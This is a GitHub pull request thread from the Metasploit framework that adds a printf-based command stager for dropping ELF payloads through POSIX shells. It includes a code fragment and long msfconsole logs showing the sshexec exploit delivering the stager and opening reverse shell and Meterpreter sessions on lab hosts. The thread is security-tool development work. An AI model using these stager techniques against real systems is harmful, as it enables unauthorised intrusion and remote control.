Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add printf CmdStager #2412

Merged
merged 4 commits into from Oct 8, 2013
Merged

Conversation

mwulftange
Copy link
Contributor

This CmdStager uses printf’s support for octal escapes to drop an ELF payload. Since the support for octal escapes is part of POSIX’ printf, this CmdStager should work in all POSIX compliant shells.

The idea of a printf CmdStager was originally discussed in #2371 as the required options -e and -n for the proposed echo CmdStager are not implemented in all shells, e. g., csh’s echo does neither have -e nor -n. However, csh does have a POSIX-compliant printf.

@wvu
Copy link
Contributor

wvu commented Sep 23, 2013

w00t! Portability!

@jvazquez-r7
Copy link
Contributor

Processing...

@jvazquez-r7
Copy link
Contributor

Hi @mwulftange

mwulftange#1 tries to clean and fix this pull request.

The stager wasn't working on my tests when calling execute_cmdstager with a small linemax. For example:

execute_cmdstager({:linemax => 500})

I hope this fix to the slice_up_payload method has sense for you and I haven't break something else. Please feel free to check, review, test, discuss, etc etc and land once you feel comfortable with it :).

Once done, I guess it's ready to be landed. I've used the exploits/multi/ssh/sshexec to test this cmd stager:

  • Without linemax:
msf exploit(sshexec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.204:22 - Sending Printf stager...
[*] Command Stager progress -  44.77% done (497/1110 bytes)
[*] Command Stager progress -  89.37% done (992/1110 bytes)
[*] Command shell session 2 opened (192.168.172.1:4444 -> 192.168.172.204:52383) at 2013-10-04 11:09:14 -0500
[*] Command Stager progress - 100.00% done (1110/1110 bytes)

id
uid=1000(juan) gid=1000(juan) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(juan)
^C
Abort session 2? [y/N]  y

[*] 192.168.172.204 - Command shell session 2 closed.  Reason: User exit

  • with linemax set to 500:
msf exploit(sshexec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.204:22 - Sending Printf stager...
[*] Command shell session 3 opened (192.168.172.1:4444 -> 192.168.172.204:52384) at 2013-10-04 11:09:29 -0500
[*] Command Stager progress - 100.00% done (1069/1069 bytes)

id
uid=1000(juan) gid=1000(juan) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(juan)
^C
Abort session 3? [y/N]  y


@kernelsmith
Copy link
Contributor

@mwulftange you are going to quickly become @jlee-r7 's best friend if you're not careful with this ;)

Clean up of the CmdStagerPrintf as discussed in #1
#
def generate_cmds(opts)
@cmd_start = "printf '"
@cmd_end = "'>>#{@tempdir}#{@var_elf}"
Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Should we omit the single quotes surrounding the printf argument here? I mean, it would be one character less to worry about (may not be allowed in certain situations) but would double the number of backspaces.

@mwulftange
Copy link
Contributor Author

So what do you think of the single quotes around the printf argument, @jvazquez-r7? Should we get rid of them to minimize the used character set?

@jvazquez-r7
Copy link
Contributor

@mwulftange , about the single quote thing, I think the space is a very important requirement when writing cmd stagers. So my opinion is to use the quote by default, and maybe allow the stager to work without quotes if an option is specified.

This option can be exposed just to module developers, through the hash of opts when calling execute_cmdstager. Or can also be exposed to the user, through a datastore option registered by the mixin. On my opinion it's an option for module developers, and allowing the user to set the use or not of single quotes could make an exploit to not work properly. Thoughts?

@jvazquez-r7
Copy link
Contributor

  • Testing the mixin with the sshexec module is working now as expected. Several test with different :linemax values:
  • 27
msf exploit(sshexec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.204:22 - Sending Bourne stager...
[*] Command Stager progress -   0.42% done (25/6021 bytes)
[*] Command Stager progress -   0.83% done (50/6021 bytes)
[*] Command Stager progress -   1.25% done (75/6021 bytes)
[*] Command Stager progress -   1.69% done (102/6021 bytes)
[*] Command Stager progress -   2.14% done (129/6021 bytes)
[*] Command Stager progress -   2.59% done (156/6021 bytes)
[*] Command Stager progress -   3.04% done (183/6021 bytes)
[*] Command Stager progress -   3.49% done (210/6021 bytes)
[*] Command Stager progress -   3.94% done (237/6021 bytes)
[*] Command Stager progress -   4.38% done (264/6021 bytes)
[*] Command Stager progress -   4.83% done (291/6021 bytes)
[*] Command Stager progress -   5.28% done (318/6021 bytes)
[*] Command Stager progress -   5.73% done (345/6021 bytes)
[*] Command Stager progress -   6.18% done (372/6021 bytes)
[*] Command Stager progress -   6.63% done (399/6021 bytes)
[*] Command Stager progress -   7.08% done (426/6021 bytes)
[*] Command Stager progress -   7.49% done (451/6021 bytes)
[*] Command Stager progress -   7.92% done (477/6021 bytes)
[*] Command Stager progress -   8.35% done (503/6021 bytes)
[*] Command Stager progress -   8.80% done (530/6021 bytes)
[*] Command Stager progress -   9.25% done (557/6021 bytes)
[*] Command Stager progress -   9.70% done (584/6021 bytes)
[*] Command Stager progress -  10.15% done (611/6021 bytes)
[*] Command Stager progress -  10.60% done (638/6021 bytes)
[*] Command Stager progress -  11.01% done (663/6021 bytes)
[*] Command Stager progress -  11.46% done (690/6021 bytes)
[*] Command Stager progress -  11.89% done (716/6021 bytes)
[*] Command Stager progress -  12.34% done (743/6021 bytes)
[*] Command Stager progress -  12.79% done (770/6021 bytes)
[*] Command Stager progress -  13.24% done (797/6021 bytes)
[*] Command Stager progress -  13.69% done (824/6021 bytes)
[*] Command Stager progress -  14.13% done (851/6021 bytes)
[*] Command Stager progress -  14.58% done (878/6021 bytes)
[*] Command Stager progress -  15.01% done (904/6021 bytes)
[*] Command Stager progress -  15.46% done (931/6021 bytes)
[*] Command Stager progress -  15.88% done (956/6021 bytes)
[*] Command Stager progress -  16.29% done (981/6021 bytes)
[*] Command Stager progress -  16.71% done (1006/6021 bytes)
[*] Command Stager progress -  17.11% done (1030/6021 bytes)
[*] Command Stager progress -  17.52% done (1055/6021 bytes)
[*] Command Stager progress -  17.94% done (1080/6021 bytes)
[*] Command Stager progress -  18.34% done (1104/6021 bytes)
[*] Command Stager progress -  18.75% done (1129/6021 bytes)
[*] Command Stager progress -  19.17% done (1154/6021 bytes)
[*] Command Stager progress -  19.58% done (1179/6021 bytes)
[*] Command Stager progress -  20.00% done (1204/6021 bytes)
[*] Command Stager progress -  20.40% done (1228/6021 bytes)
[*] Command Stager progress -  20.81% done (1253/6021 bytes)
[*] Command Stager progress -  21.23% done (1278/6021 bytes)
[*] Command Stager progress -  21.62% done (1302/6021 bytes)
[*] Command Stager progress -  22.04% done (1327/6021 bytes)
[*] Command Stager progress -  22.49% done (1354/6021 bytes)
[*] Command Stager progress -  22.89% done (1378/6021 bytes)
[*] Command Stager progress -  23.30% done (1403/6021 bytes)
[*] Command Stager progress -  23.73% done (1429/6021 bytes)
[*] Command Stager progress -  24.15% done (1454/6021 bytes)
[*] Command Stager progress -  24.55% done (1478/6021 bytes)
[*] Command Stager progress -  24.96% done (1503/6021 bytes)
[*] Command Stager progress -  25.39% done (1529/6021 bytes)
[*] Command Stager progress -  25.81% done (1554/6021 bytes)
[*] Command Stager progress -  26.22% done (1579/6021 bytes)
[*] Command Stager progress -  26.64% done (1604/6021 bytes)
[*] Command Stager progress -  27.06% done (1629/6021 bytes)
[*] Command Stager progress -  27.47% done (1654/6021 bytes)
[*] Command Stager progress -  27.89% done (1679/6021 bytes)
[*] Command Stager progress -  28.30% done (1704/6021 bytes)
[*] Command Stager progress -  28.72% done (1729/6021 bytes)
[*] Command Stager progress -  29.13% done (1754/6021 bytes)
[*] Command Stager progress -  29.55% done (1779/6021 bytes)
[*] Command Stager progress -  29.96% done (1804/6021 bytes)
[*] Command Stager progress -  30.38% done (1829/6021 bytes)
[*] Command Stager progress -  30.79% done (1854/6021 bytes)
[*] Command Stager progress -  31.21% done (1879/6021 bytes)
[*] Command Stager progress -  31.62% done (1904/6021 bytes)
[*] Command Stager progress -  32.04% done (1929/6021 bytes)
[*] Command Stager progress -  32.45% done (1954/6021 bytes)
[*] Command Stager progress -  32.87% done (1979/6021 bytes)
[*] Command Stager progress -  33.27% done (2003/6021 bytes)
[*] Command Stager progress -  33.72% done (2030/6021 bytes)
[*] Command Stager progress -  34.13% done (2055/6021 bytes)
[*] Command Stager progress -  34.53% done (2079/6021 bytes)
[*] Command Stager progress -  34.94% done (2104/6021 bytes)
[*] Command Stager progress -  35.36% done (2129/6021 bytes)
[*] Command Stager progress -  35.76% done (2153/6021 bytes)
[*] Command Stager progress -  36.17% done (2178/6021 bytes)
[*] Command Stager progress -  36.59% done (2203/6021 bytes)
[*] Command Stager progress -  37.00% done (2228/6021 bytes)
[*] Command Stager progress -  37.42% done (2253/6021 bytes)
[*] Command Stager progress -  37.83% done (2278/6021 bytes)
[*] Command Stager progress -  38.25% done (2303/6021 bytes)
[*] Command Stager progress -  38.66% done (2328/6021 bytes)
[*] Command Stager progress -  39.06% done (2352/6021 bytes)
[*] Command Stager progress -  39.48% done (2377/6021 bytes)
[*] Command Stager progress -  39.89% done (2402/6021 bytes)
[*] Command Stager progress -  40.31% done (2427/6021 bytes)
[*] Command Stager progress -  40.72% done (2452/6021 bytes)
[*] Command Stager progress -  41.14% done (2477/6021 bytes)
[*] Command Stager progress -  41.54% done (2501/6021 bytes)
[*] Command Stager progress -  41.95% done (2526/6021 bytes)
[*] Command Stager progress -  42.37% done (2551/6021 bytes)
[*] Command Stager progress -  42.78% done (2576/6021 bytes)
[*] Command Stager progress -  43.20% done (2601/6021 bytes)
[*] Command Stager progress -  43.60% done (2625/6021 bytes)
[*] Command Stager progress -  44.01% done (2650/6021 bytes)
[*] Command Stager progress -  44.43% done (2675/6021 bytes)
[*] Command Stager progress -  44.84% done (2700/6021 bytes)
[*] Command Stager progress -  45.24% done (2724/6021 bytes)
[*] Command Stager progress -  45.66% done (2749/6021 bytes)
[*] Command Stager progress -  46.07% done (2774/6021 bytes)
[*] Command Stager progress -  46.49% done (2799/6021 bytes)
[*] Command Stager progress -  46.90% done (2824/6021 bytes)
[*] Command Stager progress -  47.32% done (2849/6021 bytes)
[*] Command Stager progress -  47.73% done (2874/6021 bytes)
[*] Command Stager progress -  48.13% done (2898/6021 bytes)
[*] Command Stager progress -  48.55% done (2923/6021 bytes)
[*] Command Stager progress -  48.96% done (2948/6021 bytes)
[*] Command Stager progress -  49.38% done (2973/6021 bytes)
[*] Command Stager progress -  49.79% done (2998/6021 bytes)
[*] Command Stager progress -  50.21% done (3023/6021 bytes)
[*] Command Stager progress -  50.61% done (3047/6021 bytes)
[*] Command Stager progress -  51.02% done (3072/6021 bytes)
[*] Command Stager progress -  51.44% done (3097/6021 bytes)
[*] Command Stager progress -  51.84% done (3121/6021 bytes)
[*] Command Stager progress -  52.25% done (3146/6021 bytes)
[*] Command Stager progress -  52.65% done (3170/6021 bytes)
[*] Command Stager progress -  53.06% done (3195/6021 bytes)
[*] Command Stager progress -  53.48% done (3220/6021 bytes)
[*] Command Stager progress -  53.89% done (3245/6021 bytes)
[*] Command Stager progress -  54.31% done (3270/6021 bytes)
[*] Command Stager progress -  54.73% done (3295/6021 bytes)
[*] Command Stager progress -  55.14% done (3320/6021 bytes)
[*] Command Stager progress -  55.56% done (3345/6021 bytes)
[*] Command Stager progress -  56.00% done (3372/6021 bytes)
[*] Command Stager progress -  56.42% done (3397/6021 bytes)
[*] Command Stager progress -  56.83% done (3422/6021 bytes)
[*] Command Stager progress -  57.25% done (3447/6021 bytes)
[*] Command Stager progress -  57.66% done (3472/6021 bytes)
[*] Command Stager progress -  58.08% done (3497/6021 bytes)
[*] Command Stager progress -  58.48% done (3521/6021 bytes)
[*] Command Stager progress -  58.89% done (3546/6021 bytes)
[*] Command Stager progress -  59.31% done (3571/6021 bytes)
[*] Command Stager progress -  59.76% done (3598/6021 bytes)
[*] Command Stager progress -  60.17% done (3623/6021 bytes)
[*] Command Stager progress -  60.59% done (3648/6021 bytes)
[*] Command Stager progress -  61.00% done (3673/6021 bytes)
[*] Command Stager progress -  61.42% done (3698/6021 bytes)
[*] Command Stager progress -  61.83% done (3723/6021 bytes)
[*] Command Stager progress -  62.23% done (3747/6021 bytes)
[*] Command Stager progress -  62.65% done (3772/6021 bytes)
[*] Command Stager progress -  63.06% done (3797/6021 bytes)
[*] Command Stager progress -  63.48% done (3822/6021 bytes)
[*] Command Stager progress -  63.89% done (3847/6021 bytes)
[*] Command Stager progress -  64.31% done (3872/6021 bytes)
[*] Command Stager progress -  64.72% done (3897/6021 bytes)
[*] Command Stager progress -  65.14% done (3922/6021 bytes)
[*] Command Stager progress -  65.55% done (3947/6021 bytes)
[*] Command Stager progress -  65.97% done (3972/6021 bytes)
[*] Command Stager progress -  66.38% done (3997/6021 bytes)
[*] Command Stager progress -  66.80% done (4022/6021 bytes)
[*] Command Stager progress -  67.21% done (4047/6021 bytes)
[*] Command Stager progress -  67.63% done (4072/6021 bytes)
[*] Command Stager progress -  68.03% done (4096/6021 bytes)
[*] Command Stager progress -  68.44% done (4121/6021 bytes)
[*] Command Stager progress -  68.86% done (4146/6021 bytes)
[*] Command Stager progress -  69.27% done (4171/6021 bytes)
[*] Command Stager progress -  69.67% done (4195/6021 bytes)
[*] Command Stager progress -  70.09% done (4220/6021 bytes)
[*] Command Stager progress -  70.54% done (4247/6021 bytes)
[*] Command Stager progress -  70.95% done (4272/6021 bytes)
[*] Command Stager progress -  71.37% done (4297/6021 bytes)
[*] Command Stager progress -  71.77% done (4321/6021 bytes)
[*] Command Stager progress -  72.18% done (4346/6021 bytes)
[*] Command Stager progress -  72.58% done (4370/6021 bytes)
[*] Command Stager progress -  72.99% done (4395/6021 bytes)
[*] Command Stager progress -  73.41% done (4420/6021 bytes)
[*] Command Stager progress -  73.82% done (4445/6021 bytes)
[*] Command Stager progress -  74.24% done (4470/6021 bytes)
[*] Command Stager progress -  74.66% done (4495/6021 bytes)
[*] Command Stager progress -  75.07% done (4520/6021 bytes)
[*] Command Stager progress -  75.47% done (4544/6021 bytes)
[*] Command Stager progress -  75.88% done (4569/6021 bytes)
[*] Command Stager progress -  76.30% done (4594/6021 bytes)
[*] Command Stager progress -  76.71% done (4619/6021 bytes)
[*] Command Stager progress -  77.13% done (4644/6021 bytes)
[*] Command Stager progress -  77.58% done (4671/6021 bytes)
[*] Command Stager progress -  77.99% done (4696/6021 bytes)
[*] Command Stager progress -  78.41% done (4721/6021 bytes)
[*] Command Stager progress -  78.82% done (4746/6021 bytes)
[*] Command Stager progress -  79.22% done (4770/6021 bytes)
[*] Command Stager progress -  79.64% done (4795/6021 bytes)
[*] Command Stager progress -  80.05% done (4820/6021 bytes)
[*] Command Stager progress -  80.47% done (4845/6021 bytes)
[*] Command Stager progress -  80.88% done (4870/6021 bytes)
[*] Command Stager progress -  81.30% done (4895/6021 bytes)
[*] Command Stager progress -  81.71% done (4920/6021 bytes)
[*] Command Stager progress -  82.13% done (4945/6021 bytes)
[*] Command Stager progress -  82.54% done (4970/6021 bytes)
[*] Command Stager progress -  82.96% done (4995/6021 bytes)
[*] Command Stager progress -  83.37% done (5020/6021 bytes)
[*] Command Stager progress -  83.79% done (5045/6021 bytes)
[*] Command Stager progress -  84.24% done (5072/6021 bytes)
[*] Command Stager progress -  84.69% done (5099/6021 bytes)
[*] Command Stager progress -  85.09% done (5123/6021 bytes)
[*] Command Stager progress -  85.50% done (5148/6021 bytes)
[*] Command Stager progress -  85.92% done (5173/6021 bytes)
[*] Command Stager progress -  86.33% done (5198/6021 bytes)
[*] Command Stager progress -  86.73% done (5222/6021 bytes)
[*] Command Stager progress -  87.14% done (5247/6021 bytes)
[*] Command Stager progress -  87.56% done (5272/6021 bytes)
[*] Command Stager progress -  87.98% done (5297/6021 bytes)
[*] Command Stager progress -  88.42% done (5324/6021 bytes)
[*] Command Stager progress -  88.86% done (5350/6021 bytes)
[*] Command Stager progress -  89.27% done (5375/6021 bytes)
[*] Command Stager progress -  89.69% done (5400/6021 bytes)
[*] Command Stager progress -  90.08% done (5424/6021 bytes)
[*] Command Stager progress -  90.50% done (5449/6021 bytes)
[*] Command Stager progress -  90.92% done (5474/6021 bytes)
[*] Command Stager progress -  91.33% done (5499/6021 bytes)
[*] Command Stager progress -  91.78% done (5526/6021 bytes)
[*] Command Stager progress -  92.18% done (5550/6021 bytes)
[*] Command Stager progress -  92.59% done (5575/6021 bytes)
[*] Command Stager progress -  93.01% done (5600/6021 bytes)
[*] Command Stager progress -  93.42% done (5625/6021 bytes)
[*] Command Stager progress -  93.84% done (5650/6021 bytes)
[*] Command Stager progress -  94.25% done (5675/6021 bytes)
[*] Command Stager progress -  94.67% done (5700/6021 bytes)
[*] Command Stager progress -  95.08% done (5725/6021 bytes)
[*] Command Stager progress -  95.50% done (5750/6021 bytes)
[*] Command Stager progress -  95.91% done (5775/6021 bytes)
[*] Command Stager progress -  96.33% done (5800/6021 bytes)
[*] Command Stager progress -  96.74% done (5825/6021 bytes)
[*] Command Stager progress -  97.16% done (5850/6021 bytes)
[*] Command Stager progress -  97.58% done (5875/6021 bytes)
[*] Command Stager progress -  97.97% done (5899/6021 bytes)
[*] Command Stager progress -  98.39% done (5924/6021 bytes)
[*] Command Stager progress -  98.80% done (5949/6021 bytes)
[*] Command Stager progress -  99.25% done (5976/6021 bytes)
[*] Command Stager progress -  99.57% done (5995/6021 bytes)
[*] Command shell session 4 opened (192.168.172.1:4444 -> 192.168.172.204:53629) at 2013-10-08 09:04:05 -0500
[*] Command Stager progress -  99.73% done (6005/6021 bytes)
[*] Command Stager progress - 100.00% done (6021/6021 bytes)

id
uid=1000(juan) gid=1000(juan) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(juan)

  • 13
msf exploit(sshexec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.204:22 - Sending Bourne stager...
[-] Exploit failed: Rex::RuntimeError Not enough space for command - 25 byte required, 13 byte available

  • 500 with the meterpreter payload
msf exploit(sshexec) > set payload linux/x86/meterpreter/reverse_tcp 
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(sshexec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.204:22 - Sending Bourne stager...
[*] Command Stager progress -  70.10% done (497/709 bytes)
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.172.204
[*] Command Stager progress - 100.00% done (709/709 bytes)
[*] Meterpreter session 5 opened (192.168.172.1:4444 -> 192.168.172.204:53630) at 2013-10-08 09:05:14 -0500

meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000

  • No :linemax
msf exploit(sshexec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] 192.168.172.204:22 - Sending Bourne stager...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.172.204
[*] Command Stager progress - 100.00% done (681/681 bytes)
[*] Meterpreter session 6 opened (192.168.172.1:4444 -> 192.168.172.204:53631) at 2013-10-08 09:05:50 -0500

meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000

@mwulftange I'm going to land this pull request since I think is good enough to go :) If you're still interested in allow an option to disable the single quotes, another pull request is welcome :)

jvazquez-r7 pushed a commit that referenced this pull request Oct 8, 2013
@jvazquez-r7 jvazquez-r7 merged commit 6f7d513 into rapid7:master Oct 8, 2013
@mwulftange mwulftange deleted the feature/cmdstager_printf branch October 8, 2013 16:52
@mwulftange
Copy link
Contributor Author

@jvazquez-r7 The quote-less variant requires even less space (one additional backspace in exchange to two single quotes). #2489

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

4 participants